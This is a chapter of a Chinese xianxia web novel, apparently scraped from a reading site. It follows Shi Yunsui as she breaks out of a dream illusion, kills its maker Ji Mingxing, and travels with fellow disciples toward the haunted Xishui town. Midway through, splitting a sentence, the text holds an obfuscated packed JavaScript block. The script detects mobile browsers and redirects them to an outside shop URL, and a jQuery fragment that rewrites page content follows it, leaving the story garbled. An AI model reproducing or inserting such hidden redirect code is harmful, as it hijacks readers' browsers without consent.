13. 妖鬼

作品:《我死后成了全师门白月光

    时间仿佛在这一刻定格。


    计鸣星一声令下,周遭无数鬼物缓缓转头,看向抢走新郎鬼面具的黑袍少年,这个突兀的“闯入者”。


    “杀了他!给本君把面具给抢回来!”计鸣星气势沉冷,额上青筋隐现。


    一个幻境,计鸣星为何对面具有如此深的执念?施云岁也不懂。


    计鸣星自身貌似并不擅长近身打斗,没有加入围剿两人。


    周遭鬼物一拥而上。


    戴鬼面具的少年却无比淡定,黑色织金喜服穿在他身上,广袖猎猎,搅动乾坤。


    鬼物还没来得及靠近,便被绞杀成灰霁。


    一群废物。


    眼见无鬼可用,计鸣星哪怕怨愤,也只能自己上。


    然而下一刻,他目眦欲裂:“你——!”


    只见鬼面具被少年无比随意地揭下,扔在地上,压住欲飞的新娘盖头。


    施云岁站在鬼辇上,环顾四周,送嫁队伍早不知道被刚才的狂风卷到哪去了。


    要命的关头,露出真容的少年依旧优哉游哉,朝她递出手:“走不走?”


    施云岁没应,吃惊看向他身后。


    计鸣星满心愤怒,忽然手持黑气冲了过来,朝少年后心袭去!


    少年连眉梢都没动一下。


    黑吃黑的血腥场面没看见,计鸣星忽然倒栽出去,倒在地上大口吐血。


    “……”施云岁有些失望,这才把视线转到他脸上,“小师叔,你也掉进幻境了?”


    真是老天有眼。


    少年脸上没有任何遮挡物,面无表情看着她,似乎看穿她在想什么。


    施云岁没理他,躲开他递来的手,提着裙摆跳下鬼辇,想往前走,却被一把扯住衣袖。


    她回头,这才看清少年平静面容下压抑着的怒火。


    谢惊潮唇角绷直,扯了抹笑,鬼气森森:“施云岁,你认识他?”


    施云岁语塞,觉得他真是管得宽,不去找荼山梨,反而来管她的闲事?


    但不说清楚又走不掉。


    “这里是幻境。”认不认识有什么关系?一切都是假的。


    施云岁认为自己说得很清楚了。


    一声冷笑。


    谢惊潮掀起眼帘看她:“你认为,这是业障幻境,会自己破灭?”


    施云岁愣了一瞬。


    仿佛为了印证他的话,天空的血色蝴蝶,在即将填满时,抖了抖,变戏法似的,眨眼间迅速退至底端。


    不是堪破业障的幻境?


    一个可怕念头从心底升起:这里,是以人心贪念为源头,塑造的善恶境。


    施云岁也没过多纠结,为何她的善恶境会是这样。


    只是忍不住感慨,没想到计鸣星为了坑害她,简直不择手段。


    好歹她以前也算帮过他吧?


    恩将仇报。


    又看向谢惊潮,才是莫名其妙。


    这两人难道不是一伙的?计鸣星干什么还不是出自他的授意?装什么装什么!


    狐疑产生,少女眉心缓缓拢起。


    谢惊潮垂着眸,少女的嫁衣鲜艳柔软,灼痛人眼,像一尾鲜红的锦鲤游曳从他手心滑过,抓也抓不住。


    施云岁扯回袖子,淡声道:“多谢小师叔提醒。”


    善恶境,美梦噩梦交织,让人彻底沉沦,最终疯魔,成为造梦者的力量养分。


    唯一搞不懂的是计鸣星为何故意欺骗她。


    施云岁朝着躺在地上的虚弱青年走去。


    计鸣星受伤颇重,大口咳血。


    不久之前,他还温柔对她笑,抱着她走过花廊长街。


    现在,只剩一脸灰败,死气沉沉。


    施云岁轻蹙眉梢。


    计鸣星如愿在少女眼中看到了犹豫。


    她声音微冷:“计鸣星?”


    “你……咳,你记得我?”


    计鸣星已顾不上疼痛,心中欣喜压过难过,澎湃高昂。


    然而下一刻,匕首干脆利落,扎进他的心房。


    少女冷俏着脸,未见丝毫不忍。


    对于这种助纣为虐的人,施云岁向来没有仁慈之心。


    他弱小时她会帮他,他害人时,她自然也会亲手杀他。


    计鸣星不可置信看着她,身体一点点化作飞灰,散入夜幕。


    彻底消散前,他听见少女低语:“你的弱点,果然是心脏。”


    他在庭院中抱起她时,她听见了他忽快忽慢的心跳声,如同海水潮汐温柔的起落。


    她刚才的犹豫,原来只是害怕无法一举杀死他……


    “幻境开始坍塌了!”


    远处,洛声劫后余生,满脸喜色。


    早在变故突生时,他就被巨大力道击退,倒在地上吐血。


    周围鬼物趁乱扑在他身上,洛声拼命蹬踹,护住头脸,忍痛撕扯开趴在手臂上吸他血的小鬼,忽然目光一定。


    长街尽头灰尘漫天,紫衣少女提鞭杀来。


    洛声正要呼救,忽然发现情势不对劲。


    少女衣裙上不少血,周身杀气凛然,比恶鬼还像恶鬼,陌生得让他不敢相认。


    洛声唇抖了抖,差点咬了舌头,呼救声憋了回去,甚至颤巍巍地、想把旁边的尸体拖过来盖在身上。


    幸而,远处少女并没有发现他,神情漠然。


    似乎也意识到善恶境之源即将结束,她若有所思,停下绞杀鬼物,侧头望向天幕。


    幻境中,实力无法虚构,一定是荼山梨某个时期曾如此强大,才能在善恶境里斩杀无数鬼物。


    小师妹真的是小师妹吗?


    洛声感到后怕,没等他想明白,善恶境彻底破碎。


    *


    双玄宗,灵山。


    白玉砌成的圆形比试台上,一阵强光闪过,七人一起跌出善恶境。


    “怎么回事?”在场众人惊疑不定。


    七人掉入善恶境已经有一段时间,但在外人看来,他们只是走了会神,然后就被白光震了出来。


    比试台上,一名弟子忽然抱着脑袋大喊大叫,甚至拔剑要砍杀身边人。


    幸亏对面的蓝衣剑修少年反应迅速,及时出手制止,将人打昏,才未酿成惨剧。


    “温允,怎么回事?”


    高台上,为首的仙盟长老林之渡,也是如今双玄宗的宗主,沉眸看向刚才出手救人的高马尾少年。


    少年刚从善恶境中出来,神情还有些恍惚,救人纯属下意识之举。


    他愣了一瞬,回过神来:“回父亲,是善恶境。”


    此言一出,满座哗然。


    “善恶境!那不是禁术吗?”


    善恶境属于造梦术的一种,之前常被用作修士的历练幻境。


    后来,因三界灵气凋敝,修士一代不如一代,难以窥破此境,经常走火入魔,故而善恶境被列入禁术已久。


    施云岁走到茫然的冬樱旁,见她无大碍,才放下心来。


    回禀的少年她记得名叫林鹤,温允想来是他的字,是双玄宗的少宗主,模样骄矜,实力却不俗。


    他与旁边那个抱着大刀、默然不语的高大修士姜旭,都位于前八之列。


    少年继续答话:“刚才比试时,忽然出现一阵强光,将孩儿拉入善恶境。”


    林鹤看了眼那名疯掉的弟子,以及另一个神神叨叨、抱着头边哭边笑的弟子,沉声道:“这两位同修,想来也是遭遇了同样的情况。”


    只是道心不坚定,彻底迷失其中,沦为造梦者的养料。


    剩下的话也不必林鹤多说了。


    仙门会剑前八首中,照夜宗四人都尚好,剩下四个外宗的,直接一疯一傻。


    这可不是什么无名之辈,都是各宗各派的天骄。


    小门小宗倾尽全宗之力,也很难培养出来这么一个,自然不可能就这么算了。


    “化羽宗宗主在何处?没记错的话,这是你们宗门的禁术!”损失弟子的宗门大声责问,势必追查罪魁祸首。


    迟迟等不到人出来应声,声讨公道的宗主转头看向高台上的林之渡:“盟主,您要为这些无辜弟子,主持公道啊!”


    林之渡眉头一皱,化羽宗的人,根本来不了仙门会剑。


    还未等他开口,上空,一道声音突兀出现。


    “诸位,不必再找了。化羽宗宗主在此。”


    只闻其声,不见其人。


    众人四周环顾。


    圆台之上,仙鹤叼着一包东西飞来,选在人群最密集的地方扔下去。


    包袱还未落地,当场爆成血雾,淋了众人满头满脸。


    “啊啊啊——”胆小的弟子已经吓破胆,比试台下,人群乱作一团。


    “何人装神弄鬼?”


    林之渡挥手散去血雾,众人这才看清,包袱中装着个人,正是死去多时的化羽宗宗主。


    “行不更名,坐不改姓,在下计鸣星,于溪水镇,静候各位佳音。”


    “若你们不来,这一镇的百姓,便作为我为诸位献上的贺礼吧。”


    “竖子狂妄!”奉息长老也在场,当即怒斥。


    林之渡叹气,这才宣布噩耗。


    他也是今日才收到噩耗,原本想等仙门会剑结束,再行商讨解决此事。


    不想计鸣星竟如此嚣张,公然挑衅。


    众人这才弄清事情原委。


    计鸣星原是弃婴,被心善的化羽宗宗主捡回去,当成亲传弟子教导长大。


    不知为何,他突然发狂,修习邪术,虐杀宗主及其夫人,屠了整个宗门后,不知所踪。


    化羽宗素来擅长造梦术,原是为了救人了却夙愿,却被计鸣星当成杀人工具。


    这种仙门叛徒,势必捉拿,以儆效尤。


    此刻,千里之外的溪水镇,林之渡义正辞严的批判,被王座上的青年尽收眼底。


    他不屑冷笑,拽来一个傀儡:“问你,宗主对我很好?”


    若是施云岁在场,说不定能认出这个傀儡,正是当初带头欺凌计鸣星的人。


    傀儡满心恐惧,瑟瑟摇头:“不、没有。”


    计鸣星松开了手。


    他不过是买回去的奴仆,非打即骂,又不幸被宗主夫人看上,日日带在身边虐待。


    流澜也收到消息,踏入正殿,看向座上狂妄的黑衣青年,不解道:“你到底在做什么?”


    计鸣星面上阴郁,扯了抹笑:“让更多修士化作养分,蕴养鬼脉,岂不是更好?”


    重要的是,他要把那个人引来。


    还有敢闯他幻境伤他的不知死活的男修。


    青年脸色愈发阴沉,捏碎了手中傀儡的脑袋。


    流澜皱眉:“好自为之。”


    好言难劝,言尽于此。


    *


    因此次变故,仙门会剑临时改了规则。


    由武试成绩,加上诛杀叛徒的功劳大小,共同评判排名。


    林之渡没着急下定论,望向与展漠并排而坐的太虚道君,得到太虚道君首肯,他才不急不忙下令:“如此,望诸君此行顺利。”


    “诸位都是我辈英豪,各宗杰出弟子,修仙者,最重要是修道心。背叛师门者,追杀至天涯海角!”


    所以说做人不能太狂,不然容易成为众矢之的。


    施云岁想起在境中故意骗她的恶劣青年,心情难言。


    计鸣星实力不容小觑,他有鬼令在手,此行多半凶多吉少。


    但看着眼前士气高涨的几人,说了他们也不会信,反而惹火上身。


    她可不想成为下一个计鸣星,被仙门讨伐。


    施云岁只悄声凑近一人:“冬樱,你和我一起,注意安全。”


    虽然冬樱不明所以,但还是愿意相信施云岁,紧紧挨着她走。


    施云岁开心摸了摸她的脑袋,夸她真可爱。


    荼山梨看了她们那边一眼,没说什么。


    “小师姐,我也……”


    洛声看着施云岁和冬樱那边一团和气,满心羡慕,可怜巴巴张口,却被荼山梨一眼恐吓回去,没敢再提。


    八首中疯傻两人,顺位候补上来两位。那两名弟子初听到消息时,满心欢喜,还以为好运降临。


    施云岁暗自叹息,为他们的倒霉默哀。


    “我同你们一起去。”众人下山前,一道声音落地,不容拒绝。


    “奉息长老?”几人转头,纷纷不可置信。


    奉息是此次仙门会剑的评判长老之一,冷哼一声:“自然是观察你们的表现。”


    在未知前路,算保护,也算监督。


    他可没忘记和施云岁的约定,自然会好好看着她,不允许她背地里搞小动作。


    *


    赶路途中,炎热正午,众人停靠在树荫下歇息。


    补上来的两名修士,一名是双玄宗的张池,一名是镇安宗的宋安。


    二人虽不同宗,但一拍即


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649083|187708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    合,素来听闻照夜宗小师妹的美名,难得有机会亲近,有心结交。


    谁知还没靠近,向来好脾气的荼山梨冷哼一声,称去察看周围情况,起身便走了。


    留下两人大眼瞪小眼,不知是否哪里招惹这位小师妹?


    忽见宋安抬手,指了下荼山梨刚才看过的地方:“张兄,你看那边。”


    只见树下,青衣少女正与她同门凑在一起闲聊。


    旁边的男弟子看上去一脸乐呵,少女见他什么都听不懂,赶又赶不走,气得不行,直接拿小木剑戳他。


    好像是照夜宗的小师姐。


    近年来名声很糟糕,嫉妒同门、暗害同门的事没少做。


    这下让他们逮着现行了。


    偏偏那个男弟子还乐在其中,看得人直摇头。


    *


    荒山野岭,很快入夜。


    没有落脚的地方,众人将就找了个破庙留宿。


    几人围坐火堆,施云岁捡了根枯树枝拨弄,火星子一闪一闪。


    奉息长老告诉大家,明日前往溪水镇,要从旁边的小镇借道走水路。


    “长老,御剑不是更快吗?”宋安不解。


    不是自家宗门的弟子,奉息也没如往常般厉声斥责,耐心解释:“因为脉不同。修士要灵脉,人族要龙脉,妖族要妖脉,鬼族要鬼脉。”


    他已提前探知,溪水镇上仙灵之脉几近于无,连御剑进入都不行。


    施云岁托着下巴,面上认真听着,心中默想,原来奉息长老办正事的时候,还是挺靠谱的。


    就不用她特意想办法提醒了。


    后半夜,众人闭目养神。


    施云岁知道此行危险,仍守着火堆,瞧着火势小了,便扔两根柴禾进去。


    忽然,破庙前方的密林中,一声尖叫,寒鸦四散。


    施云岁起身追了出去。


    追到密林深处,原来是个疯疯癫癫的小乞丐,捡拾野果时,不慎踩中猎人陷阱,脚上血流如注。


    林鹤与姜旭将人扶了回去。


    山林危险,本着救世济人的理念,几人便留下小乞丐住一晚。


    荼山梨喂了小乞丐一颗丹药,一口气算是缓过来了。


    火光映照下,小乞丐头发糟乱,被荆棘割破的血口子刚止住血。


    施云岁递去帕子,荼山梨帮小乞丐擦干净脸,众人才发现他其实并不丑,眉目间甚至有几分清秀。


    不像是乱世乞儿,倒像是家里突然遭难,逃亡流浪。


    见小乞丐嘴角干燥起皮,众人赶紧给他递了碗清水。


    跛脚小乞丐端着碗,也不急着喝,看着水发呆,不住吞咽。


    荼山梨正打量他,忽然问道:“你是从溪水镇出来的?”


    洛声这才回神,对啊,小乞丐从南北上,方向正是溪水镇!


    不料小乞丐却像是受了什么刺激,当即扔了水碗,仿佛那是什么极为可怖之物,不停后退,高声尖叫。


    “我不渴,我不渴!”


    “啊!别碰我!”小乞丐喑哑嘶吼,将想上前按住他的人挥退。


    张池和宋安也没料到,一个跛脚凡人会突然爆发出这么大力气。


    震惊之余,眼睁睁看着小乞丐往外冲去。


    还没迈出门槛,荼山梨一个手刀劈下,小乞丐软软倒在地上。


    终于安静了,众人无声松了口气。


    看着眼前小乞丐,施云岁若有所思,想起那个古怪的善恶境,不由倾目,瞧向人群中的一人。


    洛声先是注意到荼山梨森冷的目光,浑身炸毛,继而才对施云岁道:“小师姐,你看我干什么!”


    施云岁一改常态,忽而冲他笑道:“看你好看。”


    他命休矣。


    洛声再也不敢挨着荼山梨坐,宁愿去守着没人搭理的小乞丐。


    清晨天刚亮,众人先将小乞丐送到附近小镇安置。


    几人身上的仙山弟子服引起镇民注意,一个镇长模样的人走出围观人群,与他们交涉。


    奉息自持身份,不肯搭理。


    最后林鹤主动站出来接话:“这位老者,我们要去隔壁的溪水镇,不知可否有船只,能载我们一程?”


    围观的镇民哗然,倒退一大步,仿佛他们是什么瘟疫祸害。


    见此情形,林鹤大为不解。


    身为仙门弟子,还从未受到这般对待。


    他们斩妖除祟,在凡人眼中,都是近乎神明般的存在。就算不是恭敬仰慕,起码也不该是这副模样吧?


    镇长抬手制止躁乱人群,说起溪水镇最近的怪事,那里只进不出,还好心奉劝他们也不要去。


    “无事,身为修士,斩除妖祟是本分。”林鹤道。


    “修士又如何。”说话的老镇长连声叹气,拄着拐杖,一脸惋惜,“那妖鬼镇里,死的都是修士!”


    “妖鬼镇?”林鹤不解。


    “溪水镇里都是妖鬼,所以我们就叫它妖鬼镇。”


    小镇上的人都不肯去溪水镇,没有船只肯过去。


    最后几人无奈,只能买了条船,自行划过去。


    清晨白雾还未散去,登船解绳前,施云岁忽然注意到一块空地,绕着江岸,长了许多薄荷草。


    这条江是连接着溪水镇的,果然够邪门,草都绕着长。


    洛声昨晚一夜没睡,注意到她的怪异举动,幽幽探头:“小师姐,你拿这个草有什么用?”


    施云岁吓了一跳,反问:“你平常都这样跟别人说话?”


    也不怕被打死。


    “没有。”洛声一脸诚恳,“我只是好奇小师姐在干嘛。”


    施云岁没答,扯下一把薄荷草,放进随身香囊。


    “有什么用啊?”


    “不知道。应该没什么用。”施云岁也希望是自己多虑了。


    船只很快出发。


    因灵力稀薄,只能由几个男弟子轮流划船,速度并不快。


    施云岁站在船头观察,看着远处越来越近的江岸。


    忽然,她看见朦胧白雾后,有几道人影举止怪异,摇摇晃晃朝他们这边走来。


    施云岁心底一惊,然而船只猝然加快速度,向前猛冲一截,想停都停不下来。


    船只靠岸后,施云岁看见个出乎意料的少年,站在人群前头。


    “小师侄,你们终于到了。”


    少年穿着寻常长衫,周身素冷,沾了江岸寒气,似乎已等了许久。